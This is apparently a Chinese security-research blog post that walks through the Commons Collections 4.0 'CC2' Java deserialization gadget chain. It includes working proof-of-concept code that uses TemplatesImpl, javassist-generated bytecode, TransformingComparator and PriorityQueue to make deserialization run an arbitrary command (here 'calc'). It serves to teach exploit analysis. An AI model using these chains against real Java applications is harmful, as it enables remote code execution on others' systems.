JavaSec-CC2

Fc04dB Lv4

CC2

链子对应版本:Common Collection 4.0

利用TemplatesImpl动态加载字节码

利用TemplatesImpl动态加载字节码 – Mak的小破站 (mak4r1.com)

defineClass

JAVA加载class时会依次尝试执行ClassLoader里的三个方法:

loadClass -> findClass -> defineClass

  • loadClass从已经加载的缓存、父加载器寻找该类字节码
  • findClass从指定uri寻找class文件,即远程或本地的.class文件或jar包
  • defineClass加载前两者找到的字节码,处理成JAVA类

如果能在程序运行时执行defineClass加载自定义的字节码,就能做到动态加载字节码,创建类了。

例如,编写一下类:

1
2
3
4
5
public class evil {
public evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

编译出这个类的class文件,然后使用ClassLoader.defineClass加载该类的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
File file = new File("./out/production/testDefineClass/evil.class");
FileInputStream filein = new FileInputStream(file);
byte[] bytess = new byte[(int)file.length()];
filein.read(bytess);
String base64 = new String(Base64.getEncoder().encode(bytess));
System.out.println(base64);

String evilbase64 = base64;//要加载的恶意类
byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

//直接使用defineClass加载字节码
Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defclass.setAccessible(true);
Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
evilclass.newInstance();
}

可以看到成功创建该类,new该类对象执行构造方法,弹出计算器。

TemplatesImpl

image-20240918173817407

在ClassLoader类中,defineClass的修饰是protected,作用域不开放,在攻击的时候一般不能直接触发

而TemplatesImpl类中有一条方法利用链可以通过public的方法触发到参数可控defineClass,加载任意类。

先找defineClass的执行处,在方法defineClass中

image-20240918174452779

在方法defineTransletClasses中,执行了类内的defineClass

image-20240918174758591

继续向上跟进,找到getTransletInstance方法

image-20240918174835198

继续向上跟,找到newTransformer方法

image-20240918174855236

这里方法是public,可以直接访问执行。
因此我们的利用链是:

1
2
3
4
public synchronized Transformer newTransformer() ->
private Translet getTransletInstance() ->
private void defineTransletClasses() ->
Class defineClass(final byte[] b)

利用的条件:
属性_name不为null,属性_class为null(_class本来就为null):

属性_bytecode为二维byte数组,存入恶意类的字节码:

image-20240918175246443

然后_tfactory要设置成TransformerFactoryImpl对象,并且恶意类要继承类AbstractTranslet,这个不知道
因此
恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public evil() throws Exception{
Runtime.getRuntime().exec("calc");
}

}

主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
public static <T> void setValue(TemplatesImpl obj,String fname,T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性

public static void main(String[] args) throws Exception {
File file = new File("./out/production/testDefineClass/evil.class");
FileInputStream filein = new FileInputStream(file);
byte[] bytess = new byte[(int)file.length()];
filein.read(bytess);
String base64 = new String(Base64.getEncoder().encode(bytess));
System.out.println(base64);

String evilbase64 = base64;//要加载的恶意类
byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

// //直接使用defineClass加载字节码
// Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
// defclass.setAccessible(true);
// Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
// evilclass.newInstance();

//使用TemplatesImpl加载字节码
byte[][] evilbytes1 = new byte[][]{evilbytes};
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","Fc0");
setValue(tempobj,"_bytecodes",evilbytes1);
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
tempobj.newTransformer();//执行newTransformer方法
}
}

成功弹计算器

image-20240918175723622

利用连分析

链子有两种实现方式,第二种是基于ysoserial的实现方式做的,用到了javassist依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist生成任意类的字节码的简单演示(比较简单,网上复制的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素

链子一

CC2链利用流程:

  1. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)

  2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)

  3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链

链子的终点和CC1链一样,仍然是InvokeTransformer的transform方法实现任意类任意方法执行
还是查找transform方法的执行点,在TransformComparator中有个compare方法:

image-20240918223441356

根据CC1链,我们需要让transform的主体也就是属性transformer是CC1链中的那个ChainedTransformer对象
看到TransformComparator的构造方法:

image-20240918230538749

可以直接用new构造赋值。
因此直接使用

1
2
3
4
5
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);

就获得我们想要的TransformingComparator对象

代码分析

  1. Transformer[] transes = new Transformer[]{}
    这里你定义了一个 Transformer 数组,每个 Transformer 代表一个操作,通过这些操作你可以在运行时进行反射调用。
  2. new ConstantTransformer(runtimeClass)
    这一步创建了一个 ConstantTransformer,将 Runtime.class 作为常量传递给后续的 TransformerRuntime.class 是 Java 的 Runtime 类,用于执行底层系统命令。
  3. new InvokerTransformer("getDeclaredMethod", ...)
    这里使用了 InvokerTransformer,通过反射调用 Runtime.classgetDeclaredMethod 方法,获取 RuntimegetRuntime() 方法。
  4. new InvokerTransformer("invoke", ...)
    这个 InvokerTransformer 用于调用前面获取到的 getRuntime() 方法,来获取当前的 Runtime 实例。
  5. new InvokerTransformer("exec", ...)
    最后通过 exec 方法,调用 Runtime 实例的 exec(String command) 方法,传入命令 "calc"(即在 Windows 系统中打开计算器)。
  6. ChainedTransformer chtfm = new ChainedTransformer(transes)
    这一步将所有 Transformer 链接起来,形成一个链式调用,通过 ChainedTransformer 将多个操作组合成一个整体执行流程。
  7. TransformingComparator tc = new TransformingComparator(chtfm)
    TransformingComparator 是用于比较的包装类。这里的关键点是,TransformingComparator 将会使用你定义的 ChainedTransformer 来转换输入对象,从而在比较时触发相应的链式调用。

继续往下找,compare方法在JAVA的优先级队列类PriorityQueue中有实现:

image-20240918233115265

而PriorityQueue的readObject方法正好会用到这个compare。找到readObject方法:

image-20240918233145149

跟进最后一行的heapify方法:

image-20240918233202746

跟进siftDown方法

image-20240918233218660

跟进siftDownUsingComparator方法:

image-20240918233238698

这里就跟到了compare方法

而对于属性queue,看到writeObject方法:

image-20240918233303775

会遍历queue进行writeObject,对应的readObject依次读入queue的各个对象,并检查queue是否符合writeObject时的数量。
这样整个链子就完结了。

至于参数,由于我们直接使用CC1链中以ConstantTransformer开头的ChainedTransformer链式调用transform的方法,就不用关心给到transform的参数是什么了(ConstantTransformer固定返回我们想要的对象,给第二个transform作为参数)

只需要让comparator属性为我们构造的的tc就行了,同样这也直接在构造方法里就可以赋值

image-20240918235526020

构造PriorityQueue对象之后,我们这里使用add方法对queue进行赋值,确保前面这些方法在能够正常对queue遍历即可

1
2
3
4
PriorityQueue pq = new PriorityQueue(tc);

pq.add(1);
pq.add(2);

但是这样会出现问题。
跟进add方法:

image-20240918235710222

跟进offer:

image-20240918235736574

跟进siftUp:

image-20240918235755313

这里也用到了siftUpUsingComparator方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于compare方法中,在命令执行后会抛出一个异常
image_mak
这会导致我们构造序列化数据的过程直接中断。

这是因为这一句

image-20240919000051620

我们在构造TransformingComparator对象的时候,用的是这个构造方法

image-20240919000121686

于是就会跟进调用这个重载的构造方法

image-20240919000148970

因此decorated属性被设置为ComparatorUtils.NATURAL_COMPARATOR
跟进这个ComparatorUtils看看

image-20240919000625027

那么跟进看看ComparableComparator.comparableComparator()静态方法

image-20240919000653854

再跟进到当前类的INSTANCE

image-20240919000802458

到这里指向了最终的对象,也就是说执行了ComparableComparator的compare方法,给的两个参数是transform方法返回的结果
继续跟进到ComparableComparator的compare方法

image-20240919001001264

参数类型要求的是泛型E,而E在类中的声明是:

image-20240919001051412

这要求参数必须是实现了Comparable接口的类型。而我们transform执行的是exec方法,显然返回的对象类型java.lang.Process没有实现这个接口,因此就报错了

解决的办法有很多,一种是在构造PriorityQueue用数字做参数,这样走的就是这个构造器

image-20240919001152746

comparator为null,这样执行siftUp和siftDown的时候就会走else分支,执行siftUpComparable

image-20240919001323422

这个方法没有compare,处理正常数据就不会报错。
在add数据之后,通过反射把PriorityQueue对象的comparator设置成我们的tc,就拿到了我们最终想要序列化的PriorityQueue对象了
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}

public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static void main(String[] args) throws Exception{
//链子1
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);
tc.compare(runtimeClass,runtimeClass);
//
PriorityQueue pq = new PriorityQueue(1);//创建无comparator的PriorityQueue

pq.add(1);
pq.add(2);
Field cp = PriorityQueue.class.getDeclaredField("comparator");//通过反射设置comparator
cp.setAccessible(true);
cp.set(pq,tc);
serialize(pq);
unserialize();
}}

链子二

其实是一个链子,只是实现方法不一样,在ysoserial中CC2链子使用的是templatesImpl动态加载字节码的函数,最终实现exec
也就是说我们最终想实现的代码是:

1
2
3
4
5
6
7
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

ivt.transform(tempobj)

(TemplatesImpl的newTransformer最终是能跟到defineClass的)
其中generateByteCode方法,使用javassist返回首元素是恶意类的字节码的二维byte数组:

1
2
3
4
5
6
7
8
9
10
11
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}

代码解析:

  1. ClassPool 与 CtClass:
    • ClassPool cp = ClassPool.getDefault(); 创建了一个默认的类池,用于生成新的类。
    • CtClass cc = cp.makeClass("evil"); 创建了一个名为 “evil” 的类。
  2. 插入静态代码块:
    • cc.makeClassInitializer().insertBefore(cmd); 通过插入静态代码块,在类加载时执行 cmd,该 cmd 是调用计算器的命令。
  3. 设置父类:
    • cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); 设置 evil 类的父类为 AbstractTranslet(该类属于 javax.xml.transform 包的一部分),这是因为某些 TemplatesImpl 类会要求其子类继承自 AbstractTranslet
  4. 生成字节码:
    • byte[][] evilbyte = new byte[][]{cc.toBytecode()}; 将生成的类字节码保存到二维字节数组 evilbyte 中,并返回。

除此之外,实现方式还略有不同,一是因为templatesImpl和Runtime不一样,它是一个可序列化的类,二是因为CC2链传给transform的参数是可控的(和CC1不一样),因此这里没有用到ChainedTransformer和ConstantTransformer而是直接将templatesImpl对象作为参数传给了InvokeTransformer的transform

看看参数是怎么传递的
直接看最后的siftDownUsingComparator,compare拿到的参数c和queue[right]就是直接从queue中取得的对象。

image-20240919003136489

而compare方法中,拿到的两个参数obj1和obj2都是transform方法的参数

image-20240918223441356

因此只要让我们的PriorityQueue对象的queue数组是两个我们的tempobj就可以了

这里换一种方式解决序列化时候报错的问题,用反射而非add设置我们的queue属性。由于不是add,我们还需要设置好数组大小size属性,不然size为0,走到这里就会终止:

image-20240919003405744

1
2
3
4
5
6
7
Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});

Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}

public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}
public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性

public static void main(String[] args) throws Exception{
//链子1
// Class runtimeClass = Runtime.class;
// Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
// ChainedTransformer chtfm = new ChainedTransformer(transes);
//// chtfm.transform(runtimeClass);
// TransformingComparator tc = new TransformingComparator(chtfm);
// tc.compare(runtimeClass,runtimeClass);
////
// PriorityQueue pq = new PriorityQueue(1);
//
// pq.add(1);
// pq.add(2);
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,tc);
// serialize(pq);
// unserialize();

//链子2
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

// ivt.transform(tempobj);
// PriorityQueue pq = new PriorityQueue();
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,ivt);

TransformingComparator tc = new TransformingComparator(ivt);
PriorityQueue pq = new PriorityQueue(tc);

Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});

Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);

serialize(pq);
unserialize();

}
}

image-20240919003454555

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject ->
PriorityQueue.heapify ->
PriorityQueue.siftDown ->
PriorityQueue.siftDownUsingComparator ->

TransformingComparator.compare ->
InvokerTransformer.transform ->

TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance ->
TemplatesImpl.defineTransletClasses ->

ClassLoader.defineClass
  • Title: JavaSec-CC2
  • Author: Fc04dB
  • Created at : 2024-09-18 12:10:28
  • Updated at : 2024-09-19 00:35:34
  • Link: https://redefine.ohevan.com/2024/09/18/JavaSec-CC2/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments